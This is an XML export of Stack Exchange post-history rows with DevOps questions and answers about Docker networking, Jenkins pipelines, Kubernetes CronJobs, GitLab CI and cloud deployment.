  <row Id="21556" PostHistoryTypeId="2" PostId="6799" RevisionGUID="15bc5aaa-dc57-450a-b8d3-27d0980ad82f" CreationDate="2019-04-06T13:05:16.287" UserId="6258" Text="From your container's perspective `localhost` is the container itself.  If you want to communicate with the host machine, you will need the IP address of the host itself.  Depending on your Operating System and Docker configuration, this IP address varies.&#xD;&#xA;&#xD;&#xA;Docker-for-win and Docker-for-mac both have an alias for the host machine's localhost:  `docker.for.win.localhost` and `docker.for.mac.localhost`, respectively. &#xD;&#xA;&#xD;&#xA;Here is an example of communicating with the Docker host from a container on Mac:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Dockerfile&#xD;&#xA;&#xD;&#xA;FROM python:3.7-alpine&#xD;&#xA;&#xD;&#xA;RUN ping docker.for.mac.localhost -c 4&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Sending build context to Docker daemon  562.7kB&#xD;&#xA;Step 1/2 : FROM python:3.7-alpine&#xD;&#xA; ---&gt; a93594ce93e7&#xD;&#xA;Step 2/2 : RUN ping docker.for.mac.localhost -c 4&#xD;&#xA; ---&gt; Running in 01a047fcabd4&#xD;&#xA;PING docker.for.mac.localhost (192.168.65.2): 56 data bytes&#xD;&#xA;64 bytes from 192.168.65.2: seq=0 ttl=37 time=0.525 ms&#xD;&#xA;64 bytes from 192.168.65.2: seq=1 ttl=37 time=0.613 ms&#xD;&#xA;64 bytes from 192.168.65.2: seq=2 ttl=37 time=0.675 ms&#xD;&#xA;64 bytes from 192.168.65.2: seq=3 ttl=37 time=0.803 ms&#xD;&#xA;&#xD;&#xA;--- docker.for.mac.localhost ping statistics ---&#xD;&#xA;4 packets transmitted, 4 packets received, 0% packet loss&#xD;&#xA;round-trip min/avg/max = 0.525/0.654/0.803 ms&#xD;&#xA;Removing intermediate container 01a047fcabd4&#xD;&#xA; ---&gt; c87c36f9dab7&#xD;&#xA;Successfully built c87c36f9dab7&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="21557" PostHistoryTypeId="5" PostId="6799" RevisionGUID="2fb6ec5c-7a96-44d2-86df-a7198f899cc8" CreationDate="2019-04-06T13:16:51.583" UserId="6258" Comment="deleted 110 characters in body" Text="From your container's perspective `localhost` is the container itself.  If you want to communicate with the host machine, you will need the IP address of the host itself.  Depending on your Operating System and Docker configuration, this IP address varies.&#xD;&#xA;&#xD;&#xA;**edit** `host.docker.internal` is recommended from 18.03 onward. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is an example of communicating with the Docker host from a container on Mac:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Dockerfile&#xD;&#xA;&#xD;&#xA;FROM python:3.7-alpine&#xD;&#xA;&#xD;&#xA;RUN ping host.docker.internal -c 4&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;sending build context to Docker daemon  562.7kB&#xD;&#xA;Step 1/2 : FROM python:3.7-alpine&#xD;&#xA; ---&gt; a93594ce93e7&#xD;&#xA;Step 2/2 : RUN ping host.docker.internal -c 4&#xD;&#xA; ---&gt; Running in 54ce465f7386&#xD;&#xA;PING host.docker.internal (192.168.65.2): 56 data bytes&#xD;&#xA;64 bytes from 192.168.65.2: seq=0 ttl=37 time=0.735 ms&#xD;&#xA;64 bytes from 192.168.65.2: seq=1 ttl=37 time=1.898 ms&#xD;&#xA;64 bytes from 192.168.65.2: seq=2 ttl=37 time=0.720 ms&#xD;&#xA;64 bytes from 192.168.65.2: seq=3 ttl=37 time=0.643 ms&#xD;&#xA;&#xD;&#xA;--- host.docker.internal ping statistics ---&#xD;&#xA;4 packets transmitted, 4 packets received, 0% packet loss&#xD;&#xA;round-trip min/avg/max = 0.643/0.999/1.898 ms&#xD;&#xA;Removing intermediate container 54ce465f7386&#xD;&#xA; ---&gt; b2f32c26a135&#xD;&#xA;Successfully built b2f32c26a135&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="21568" PostHistoryTypeId="2" PostId="6803" RevisionGUID="50825baf-68f1-4584-82a1-8cfe83bb57eb" CreationDate="2019-04-07T09:52:28.477" UserId="13307" Text="DOCKER_CONTENT_TRUST=1 this is env variable to enable Docker content trust by default it is in disable mode.&#xD;&#xA;&#xD;&#xA;read more about DCT in official docs [DCT docs][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/v17.09/engine/security/trust/content_trust/&#xD;&#xA;&#xD;&#xA;For specific  build/push/pull you can use as docker command line flag as well&#xD;&#xA; &#xD;&#xA; --disable-content-trust=false or --disable-content-trust=true" ContentLicense="CC BY-SA 4.0" />
  <row Id="21572" PostHistoryTypeId="2" PostId="6805" RevisionGUID="8943e74e-3f25-410e-8113-fd25f62f932c" CreationDate="2019-04-07T16:03:31.140" UserId="13311" Text="Recently I tried to add Shared Libraries to my Jenkins instance to make it easier to maintain all code that runs in each project.&#xD;&#xA;&#xD;&#xA; 1. I have a repo `myorg/jenkins`&#xD;&#xA;&#xD;&#xA;Inside of it I have Jenkinsfile and groovy file meant to contain libraries, Jenkinsfile looks like this:&#xD;&#xA;```java&#xD;&#xA;@Library('utils@develop')_&#xD;&#xA;import com.*&#xD;&#xA;&#xD;&#xA;jenkinsSlave = &quot;slave.myorg.com&quot;&#xD;&#xA;&#xD;&#xA;node(jenkinsSlave) {&#xD;&#xA;    stage('Test') {&#xD;&#xA;        def var = &quot;kek&quot;&#xD;&#xA;        myorg.echoTest(var)&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I try to execute `echoTest` method there and I'm passing one argument.&#xD;&#xA;&#xD;&#xA;Shared libs look like this (Jenkinsfile is in root directory of this repo):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;src&#xD;&#xA;└── com&#xD;&#xA;    └── myorg&#xD;&#xA;        └── Utils.groovy&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Utils.groovy:&#xD;&#xA;&#xD;&#xA;```java&#xD;&#xA;#!/usr/bin/groovy&#xD;&#xA;package com.myorg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;def echoTest(test) {&#xD;&#xA;  println(&quot;Test + ${test}&quot;)&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;return this&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In Jenkins I've added this repo to global libraries section and I pointed to main branch, which is develop in this case. &#xD;&#xA;&#xD;&#xA;Unfortuantely, when I run build jenkins throws this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;groovy.lang.MissingPropertyException: No such property: myorg for class: groovy.lang.Binding&#xD;&#xA;	at groovy.lang.Binding.getVariable(Binding.java:63)&#xD;&#xA;	at org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor.onGetProperty(SandboxInterceptor.java:264)&#xD;&#xA;	at org.kohsuke.groovy.sandbox.impl.Checker$6.call(Checker.java:288)&#xD;&#xA;	at org.kohsuke.groovy.sandbox.impl.Checker.checkedGetProperty(Checker.java:292)&#xD;&#xA;	at org.kohsuke.groovy.sandbox.impl.Checker.checke&#xD;&#xA;&#xD;&#xA;[...]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I tried various configuration but so far I cannot make this work. I've tried to follow few tutorials about implementing this and I cannot pass through here. &#xD;&#xA;&#xD;&#xA;Does someone notice any misconfiguration in this setup?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21573" PostHistoryTypeId="1" PostId="6805" RevisionGUID="8943e74e-3f25-410e-8113-fd25f62f932c" CreationDate="2019-04-07T16:03:31.140" UserId="13311" Text="Jenkins Shared lib not working properly" ContentLicense="CC BY-SA 4.0" />
  <row Id="21574" PostHistoryTypeId="3" PostId="6805" RevisionGUID="8943e74e-3f25-410e-8113-fd25f62f932c" CreationDate="2019-04-07T16:03:31.140" UserId="13311" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21579" PostHistoryTypeId="5" PostId="5625" RevisionGUID="f2b93fdd-bc92-4889-bad6-3b3b431fedb6" CreationDate="2019-04-07T21:13:15.030" UserId="13139" Comment="Fixed formatting" Text="I have an Amazon EKS Kubernetes cluster and have the need to run a CronJob on it.&#xD;&#xA;However, when I published the manifest to k8s, the object is there, I can list it, get it, but I cannot describe it and see its events. Also, it doesn't seem to start at all. According to my cron pattern, it should have started on the first hour.&#xD;&#xA;&#xD;&#xA;What I have done so far:&#xD;&#xA;&#xD;&#xA;I have created the manifest for the CronJob:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    apiVersion: batch/v1beta1&#xD;&#xA;    kind: CronJob&#xD;&#xA;    metadata:&#xD;&#xA;      name: aws-ecr-token&#xD;&#xA;      namespace: default&#xD;&#xA;      labels:&#xD;&#xA;        app: aws-ecr-token&#xD;&#xA;        component: infrastructure&#xD;&#xA;    spec:&#xD;&#xA;      schedule: &quot;* */11 * * *&quot;&#xD;&#xA;      jobTemplate:&#xD;&#xA;        metadata:&#xD;&#xA;          name: aws-ecr-token&#xD;&#xA;          namespace: default&#xD;&#xA;          labels:&#xD;&#xA;            app: aws-ecr-token&#xD;&#xA;            component: infrastructure&#xD;&#xA;        spec:&#xD;&#xA;          completions: 1&#xD;&#xA;          backoffLimit: 3&#xD;&#xA;          activeDeadlineSeconds: 60&#xD;&#xA;          parallelism: 1&#xD;&#xA;          template:&#xD;&#xA;            metadata:&#xD;&#xA;              name: aws-ecr-token&#xD;&#xA;              namespace: default&#xD;&#xA;              labels:&#xD;&#xA;                app: aws-ecr-token&#xD;&#xA;                component: infrastructure&#xD;&#xA;            spec:&#xD;&#xA;              containers:&#xD;&#xA;              - name: aws-ecr-token&#xD;&#xA;                image: docker pull mesosphere/aws-cli&#xD;&#xA;                command:&#xD;&#xA;                - &quot;sh&quot;&#xD;&#xA;                - &quot;-c&quot;&#xD;&#xA;                - &quot;$(aws ecr get-login --no-include-email)&quot;&#xD;&#xA;                env:&#xD;&#xA;                - name: AWS_ACCESS_KEY_ID&#xD;&#xA;                  valueFrom:&#xD;&#xA;                    secretKeyRef:&#xD;&#xA;                      name: aws-ecr&#xD;&#xA;                      key: accessKey&#xD;&#xA;                - name: AWS_SECRET_ACCESS_KEY&#xD;&#xA;                  valueFrom:&#xD;&#xA;                    secretKeyRef:&#xD;&#xA;                      name: aws-ecr&#xD;&#xA;                      key: secretKey&#xD;&#xA;                - name: AWS_DEFAULT_REGION&#xD;&#xA;                  valueFrom:&#xD;&#xA;                    secretKeyRef:&#xD;&#xA;                      name: aws-ecr&#xD;&#xA;                      key: defaultRegion&#xD;&#xA;                volumeMounts:&#xD;&#xA;                - name: aws-ecr-config&#xD;&#xA;                  mountPath: /root/.docker&#xD;&#xA;              restartPolicy: OnFailure&#xD;&#xA;              volumes:&#xD;&#xA;              - name: aws-ecr-config&#xD;&#xA;                secret:&#xD;&#xA;                  secretName: aws-ecr-config&#xD;&#xA;&#xD;&#xA;Deployed it using:&#xD;&#xA;&#xD;&#xA;    $ kubectl apply -f aws-ecr-token-cron-job.yaml&#xD;&#xA;&#xD;&#xA;I can get it:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ kubectl get cronjobs&#xD;&#xA;    NAME            SCHEDULE      SUSPEND   ACTIVE    LAST SCHEDULE   AGE&#xD;&#xA;    aws-ecr-token   * */11 * * *   False     0         &lt;none&gt;          26m&#xD;&#xA;&#xD;&#xA;But it never gets scheduled.&#xD;&#xA;&#xD;&#xA;When I try to describe it, it shows:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ kubectl describe cronjobs&#xD;&#xA;    Error from server (NotFound): the server could not find the requested resource&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any ideas why?&#xD;&#xA;&#xD;&#xA;My version is:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ kubectl version&#xD;&#xA;    Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;10&quot;, GitVersion:&quot;v1.10.0&quot;, GitCommit:&quot;fc32d2f3698e36b93322a3465f63a14e9f0eaead&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2018-03-26T16:55:54Z&quot;, GoVersion:&quot;go1.9.3&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;    Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;10+&quot;, GitVersion:&quot;v1.10.11-eks&quot;, GitCommit:&quot;6bf27214b7e3e1e47dce27dcbd73ee1b27adadd0&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2018-12-04T13:33:10Z&quot;, GoVersion:&quot;go1.9.3&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="21580" PostHistoryTypeId="24" PostId="5625" RevisionGUID="f2b93fdd-bc92-4889-bad6-3b3b431fedb6" CreationDate="2019-04-07T21:13:15.030" Comment="Proposed by 13139 approved by 40, 4369 edit id of 969" ContentLicense="CC BY-SA 4.0" />
  <row Id="21583" PostHistoryTypeId="2" PostId="6807" RevisionGUID="2bb05b9c-02d4-48e9-b526-d4e0a5731178" CreationDate="2019-04-08T00:57:11.190" UserId="13139" Text="Every Kubernetes release has an **External Dependencies** section in the respective Changelog. E.g.:&#xD;&#xA;&#xD;&#xA;[CHANGELOG-1.14][1]:&#xD;&#xA;&#xD;&#xA;&gt; The list of validated docker versions has changed. 1.11.1 and 1.12.1&#xD;&#xA;&gt; have been removed. The current list is 1.13.1, 17.03, 17.06, 17.09,&#xD;&#xA;&gt; 18.06, 18.09.&#xD;&#xA;&#xD;&#xA;[CHANGELOG-1.13][2]:&#xD;&#xA;&#xD;&#xA;&gt; The list of validated docker versions remain unchanged at 1.11.1,&#xD;&#xA;&gt; 1.12.1, 1.13.1, 17.03, 17.06, 17.09, 18.06 since Kubernetes 1.12.&#xD;&#xA;&#xD;&#xA;[CHANGELOG-1.12][3]:&#xD;&#xA;&#xD;&#xA;&gt; The list of validated docker versions was updated to 1.11.1, 1.12.1,&#xD;&#xA;&gt; 1.13.1, 17.03, 17.06, 17.09, 18.06.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*and so on...*&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.14.md#external-dependencies&#xD;&#xA;  [2]: https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.13.md#external-dependencies&#xD;&#xA;  [3]: https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.12.md#external-dependencies" ContentLicense="CC BY-SA 4.0" />
  <row Id="21591" PostHistoryTypeId="2" PostId="6809" RevisionGUID="323d18cd-3125-4da3-9ab5-e637d01e7d8d" CreationDate="2019-04-08T09:27:20.523" UserId="11278" Text="I'm debugging the use of a report creator. I forgot a line and would like to edit the code without triggering the build pipeline. &#xD;&#xA;&#xD;&#xA;I know that it's possible to write [ci skip] in the commit pipeline to pass the pipeline execution in Jenkins CI, but I'm using GitLab CI.&#xD;&#xA;&#xD;&#xA;Does the same mechanism exist for GitLab CI? I couldn't find it in the docs. " ContentLicense="CC BY-SA 4.0" />
  <row Id="21592" PostHistoryTypeId="1" PostId="6809" RevisionGUID="323d18cd-3125-4da3-9ab5-e637d01e7d8d" CreationDate="2019-04-08T09:27:20.523" UserId="11278" Text="Is there a [ci skip] option in GitLab CI?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21593" PostHistoryTypeId="3" PostId="6809" RevisionGUID="323d18cd-3125-4da3-9ab5-e637d01e7d8d" CreationDate="2019-04-08T09:27:20.523" UserId="11278" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21598" PostHistoryTypeId="2" PostId="6811" RevisionGUID="8560de43-ba5a-44d7-a55e-686481c1cbbf" CreationDate="2019-04-08T13:03:05.450" UserId="9024" Text="In FreeStyle Project, I have lots of env vars, which are available from any part of Jenkins' job. I also used [ghprb][1] plugin to trigger that job against GH PRs, which added some extra env vars.&#xD;&#xA;&#xD;&#xA;Later, that job became more complex, so I've decided to put it on Jenkins Pipeline. But now, the issue is, I can't retrieve those env vars in a pipeline, which were available before, in the Freestyle Project.&#xD;&#xA;&#xD;&#xA;I'm a newbie in writing Jenkins Pipeline, that's why I decided to use declarative approach for that purpose (but I don't think it's root cause). So, my question is, how to retrieve env vars in Jenkins Pipeline, such as: `${BUILD_CAUSE}`, `${ghprbTargetBranch}`, `${ghprbActualCommitAuthorEmail}`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/ghprb-plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="21599" PostHistoryTypeId="1" PostId="6811" RevisionGUID="8560de43-ba5a-44d7-a55e-686481c1cbbf" CreationDate="2019-04-08T13:03:05.450" UserId="9024" Text="Get vars in Jenkins Pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="21600" PostHistoryTypeId="3" PostId="6811" RevisionGUID="8560de43-ba5a-44d7-a55e-686481c1cbbf" CreationDate="2019-04-08T13:03:05.450" UserId="9024" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21604" PostHistoryTypeId="2" PostId="6813" RevisionGUID="0da78438-bd2a-42e7-bfe4-eb28f9fa9f25" CreationDate="2019-04-08T13:48:26.923" UserId="13328" Text="I'm testing a Docker container for development. And at the moment I just want to provision it with some libraries. After which I want to connect to it and test that the libraries are there.&#xD;&#xA;&#xD;&#xA;At the moment, my Dockerfile is just&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:18.04&#xD;&#xA;    &#xD;&#xA;    RUN apt update&#xD;&#xA;    RUN apt install -y git curl cmake libx11-dev libglu1-mesa-dev libxrandr-dev libxinerama-dev libxcursor-dev libxi-dev zlib1g-dev libasound2-dev libgtk2.0-dev libjack-jackd2-dev jq&#xD;&#xA;&#xD;&#xA;But once it finishes building it terminates.&#xD;&#xA;&#xD;&#xA;What CMD should I put at the end to keep it alive so I can shell in from another terminal?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21605" PostHistoryTypeId="1" PostId="6813" RevisionGUID="0da78438-bd2a-42e7-bfe4-eb28f9fa9f25" CreationDate="2019-04-08T13:48:26.923" UserId="13328" Text="How do I create a Docker container which just waits to be shelled into?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21606" PostHistoryTypeId="3" PostId="6813" RevisionGUID="0da78438-bd2a-42e7-bfe4-eb28f9fa9f25" CreationDate="2019-04-08T13:48:26.923" UserId="13328" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21608" PostHistoryTypeId="5" PostId="6813" RevisionGUID="b2e7fcc9-976b-43cf-bf5f-536116a16f01" CreationDate="2019-04-08T13:54:51.450" UserId="13328" Comment="added 8 characters in body" Text="I'm testing a Docker container for development. And at the moment I just want to provision it with some libraries. After which I want to connect to it and test that I have all the libraries I need.&#xD;&#xA;&#xD;&#xA;At the moment, my Dockerfile is just&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:18.04&#xD;&#xA;    &#xD;&#xA;    RUN apt update&#xD;&#xA;    RUN apt install -y git curl cmake libx11-dev libglu1-mesa-dev libxrandr-dev libxinerama-dev libxcursor-dev libxi-dev zlib1g-dev libasound2-dev libgtk2.0-dev libjack-jackd2-dev jq&#xD;&#xA;&#xD;&#xA;But once it finishes building it terminates.&#xD;&#xA;&#xD;&#xA;What CMD should I put at the end to keep it alive so I can shell in from another terminal?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21609" PostHistoryTypeId="2" PostId="6814" RevisionGUID="89eaa2a9-1254-4edf-afb3-9730c6423f78" CreationDate="2019-04-08T13:55:27.557" UserId="7730" Text="Disclaimer: This is very much an anti-pattern since it looks like you are trying to create something similar to a VM, or at the very least a pet that you modify in place rather than making all your changes via code and redeploying a new container for each change.&#xD;&#xA;&#xD;&#xA;That disclaimer aside, you just need a command that will hang indefinitely. The most common one I've seen in a `tail -f /dev/null`, e.g.:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:18.04&#xD;&#xA;    &#xD;&#xA;    RUN apt update \&#xD;&#xA;     &amp;&amp; apt install -y \&#xD;&#xA;          cmake \&#xD;&#xA;          curl \&#xD;&#xA;          git \&#xD;&#xA;          jq \&#xD;&#xA;          libasound2-dev \&#xD;&#xA;          libglu1-mesa-dev \&#xD;&#xA;          libgtk2.0-dev \&#xD;&#xA;          libjack-jackd2-dev \&#xD;&#xA;          libx11-dev \&#xD;&#xA;          libxcursor-dev \&#xD;&#xA;          libxinerama-dev \&#xD;&#xA;          libxi-dev \&#xD;&#xA;          libxrandr-dev \&#xD;&#xA;          zlib1g-dev&#xD;&#xA;    &#xD;&#xA;    CMD [ &quot;tail&quot;, &quot;-f&quot;, &quot;/dev/null&quot; ]&#xD;&#xA;&#xD;&#xA;I've also rearranged the Dockerfile to merge the update and install commands, this is a best practice for Dockerfile's since it avoids having a stale `apt update` command used from the cache when you change the `apt install` command months later. Also, putting each package on a separate line is better for version control to see what changed if you add a single new package.&#xD;&#xA;&#xD;&#xA;When using this, you would `docker run -d --name your_container your_image` to run it in the background, and then `docker exec -it your_container /bin/bash` to open a shell." ContentLicense="CC BY-SA 4.0" />
  <row Id="21613" PostHistoryTypeId="2" PostId="6816" RevisionGUID="489c115a-7eef-4bf1-be59-2ddcc95f0540" CreationDate="2019-04-08T14:29:14.263" UserId="13332" Text="I have a VPS and am able to connect trough ssh using Terminal.&#xD;&#xA;Every project I have are dockerized and have github repositories.&#xD;&#xA;Since I am new to deployments so far my deployment process is manual:&#xD;&#xA;&#xD;&#xA;    $ ssh root@xxx.xxx.xx.xxx&#xD;&#xA;    $ cd /root/www/project_dir&#xD;&#xA;    $ git pull&#xD;&#xA;    $ docker-compose up --build -d --force-recreate&#xD;&#xA;&#xD;&#xA;I would like to know how should I correctly deploy dockerized github applications on VPS? Is there a better practice or script, maybe a tool?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21614" PostHistoryTypeId="1" PostId="6816" RevisionGUID="489c115a-7eef-4bf1-be59-2ddcc95f0540" CreationDate="2019-04-08T14:29:14.263" UserId="13332" Text="How should I deploy my projects using Docker, Git and VPS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21615" PostHistoryTypeId="3" PostId="6816" RevisionGUID="489c115a-7eef-4bf1-be59-2ddcc95f0540" CreationDate="2019-04-08T14:29:14.263" UserId="13332" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;deployment&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21619" PostHistoryTypeId="2" PostId="6818" RevisionGUID="c908e9e8-c1a0-413d-8837-e5bb0aa5d913" CreationDate="2019-04-08T18:07:21.533" UserId="13338" Text="I registered google cloud account and want to use Text-To-Speech API on my own server with [github.com/googleapis/google-cloud-php][1] library. &#xD;&#xA;&#xD;&#xA;On API page in block &quot;Pricing&quot; written that using less than 1 millon chracters/month is free. But lower is a note&#xD;&#xA;&quot;Additional charges may also apply from infrastructure you use to call the API&quot;&#xD;&#xA;&#xD;&#xA;Question:&#xD;&#xA;This note applies to users google cloud VPS, right? If I will use API how I described (send requests from my own server) first million of characters will be absolutely free? Google wont take a cent?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://github.com/googleapis/google-cloud-php" ContentLicense="CC BY-SA 4.0" />
  <row Id="21620" PostHistoryTypeId="1" PostId="6818" RevisionGUID="c908e9e8-c1a0-413d-8837-e5bb0aa5d913" CreationDate="2019-04-08T18:07:21.533" UserId="13338" Text="Will google cloud take money from me in this situation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21621" PostHistoryTypeId="3" PostId="6818" RevisionGUID="c908e9e8-c1a0-413d-8837-e5bb0aa5d913" CreationDate="2019-04-08T18:07:21.533" UserId="13338" Text="&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21625" PostHistoryTypeId="2" PostId="6820" RevisionGUID="25cd8633-f446-4d02-94dd-897eb0cb131a" CreationDate="2019-04-08T23:00:37.910" UserId="4883" Text="I am trying to run a python script in Jenkins. My Jenkins job is integrated with Jira &amp; on build its gives JIRA_ISSUE_KEY. I want to save the value of JIRA_ISSUE_KEY in a variable.&#xD;&#xA;    &#xD;&#xA;    import subprocess&#xD;&#xA;    e = 'echo &quot;$JIRA_ISSUE_KEY&quot;'&#xD;&#xA;    x = subprocess.call(e, shell=True)&#xD;&#xA;&#xD;&#xA;Whenever I am doing print e it gives o/p as &quot;echo &quot;$JIRA_ISSUE_KEY&quot;&quot; &amp; when I am doing print e its gives o/p as 0.&#xD;&#xA;&#xD;&#xA;My overall output in Jenkins console is &#xD;&#xA;&#xD;&#xA;    JIRA comment is added&#xD;&#xA;    Running as SYSTEM&#xD;&#xA;    Building in workspace /var/lib/jenkins/workspace/Jenkins Jira &#xD;&#xA;    Integration Test&#xD;&#xA;    [Jenkins Jira Integration Test] $ python /tmp/jenkins2864498002834652992.py&#xD;&#xA;    MCO-15498&#xD;&#xA;    echo &quot;$JIRA_ISSUE_KEY&quot;&#xD;&#xA;    0&#xD;&#xA;    Finished: SUCCESS&#xD;&#xA;&#xD;&#xA;I want to save the value MCO-15498 to some variable. How can I do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21626" PostHistoryTypeId="1" PostId="6820" RevisionGUID="25cd8633-f446-4d02-94dd-897eb0cb131a" CreationDate="2019-04-08T23:00:37.910" UserId="4883" Text="Python Script in Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="21627" PostHistoryTypeId="3" PostId="6820" RevisionGUID="25cd8633-f446-4d02-94dd-897eb0cb131a" CreationDate="2019-04-08T23:00:37.910" UserId="4883" Text="&lt;jenkins&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21634" PostHistoryTypeId="50" PostId="6558" RevisionGUID="d9feb828-aa37-4075-b659-adca96881020" CreationDate="2019-04-09T03:02:15.330" UserId="-1" />
  <row Id="21639" PostHistoryTypeId="2" PostId="6825" RevisionGUID="4585a2cb-05b7-4c2b-8344-c0ca47b6649b" CreationDate="2019-04-09T06:39:10.430" UserId="13353" Text="I'm running code in docker containers through AWS ECS on the fargate engine. The problem that I'm running into is that my docker image labels are not being applied to the docker container as I would expect.&#xD;&#xA;&#xD;&#xA;As a simplified example, I build an image:&#xD;&#xA;```&#xD;&#xA;docker build --label asdf=qwer - &lt;&lt;EOF&#xD;&#xA;FROM alpine&#xD;&#xA;EOF&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ docker inspect -f'{{json .Config.Labels}}' a19a19847afe&#xD;&#xA;{&quot;asdf&quot;:&quot;qwer&quot;}&#xD;&#xA;```&#xD;&#xA;I push this up to ECR and create a container using the image in a task, then start it in my service.&#xD;&#xA;&#xD;&#xA;If I set a docker label on the container definition like `qwer=asdf`, this will show up, but my image label of `asdf=qwer` will not. Running locally works fine though:&#xD;&#xA;```&#xD;&#xA;$ task=$(docker run -d --label qwer=asdf a19a19847) &amp;&amp; docker inspect -f'{{json .Config.Labels}}' $task&#xD;&#xA;{&quot;asdf&quot;:&quot;qwer&quot;,&quot;qwer&quot;:&quot;asdf&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is this feature unsupported by fargate? It almost feels like since it's built into docker that fargate must be doing something to intentionally remove the image labels.&#xD;&#xA;&#xD;&#xA;From a wider standpoint though, what I'm looking for is the ability to tell exactly what code is being run inside of my docker container, so I'll consider a simple solution for this problem an answer as well. I'm using a floating `production` image tag currently and would prefer not to have to change my tag workflow." ContentLicense="CC BY-SA 4.0" />
  <row Id="21640" PostHistoryTypeId="1" PostId="6825" RevisionGUID="4585a2cb-05b7-4c2b-8344-c0ca47b6649b" CreationDate="2019-04-09T06:39:10.430" UserId="13353" Text="Docker image labels in fargate are not applied to containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="21641" PostHistoryTypeId="3" PostId="6825" RevisionGUID="4585a2cb-05b7-4c2b-8344-c0ca47b6649b" CreationDate="2019-04-09T06:39:10.430" UserId="13353" Text="&lt;docker&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21645" PostHistoryTypeId="50" PostId="1654" RevisionGUID="ce296011-cb60-4af6-b040-079a3e4b1e47" CreationDate="2019-04-09T07:01:02.303" UserId="-1" />
  <row Id="21646" PostHistoryTypeId="2" PostId="6827" RevisionGUID="7cba18d0-cf4f-47f4-9726-98ac8c782b55" CreationDate="2019-04-09T07:36:18.193" UserId="12430" Text="we currently want to introduce a loadbalancing on the Jenkins server and our nodes. I have already created several nodes.&#xD;&#xA;&#xD;&#xA;Currently it is also so that if a node is blocked accordingly, that the next free option is chosen. But only if a node is issued. Unfortunately, this is only part of what the whole task looks like.&#xD;&#xA;&#xD;&#xA;Task to be solved:&#xD;&#xA;- If a node is under load, the next free option should be selected automatically.&#xD;&#xA;&#xD;&#xA;- If a node is issued, then the next inactive node should be taken.&#xD;&#xA;&#xD;&#xA;Problem:&#xD;&#xA;&#xD;&#xA;For security reasons, you do not want us to use the loadbalancing plugin. So there has to be a solution that we have through a script or some other solution" ContentLicense="CC BY-SA 4.0" />
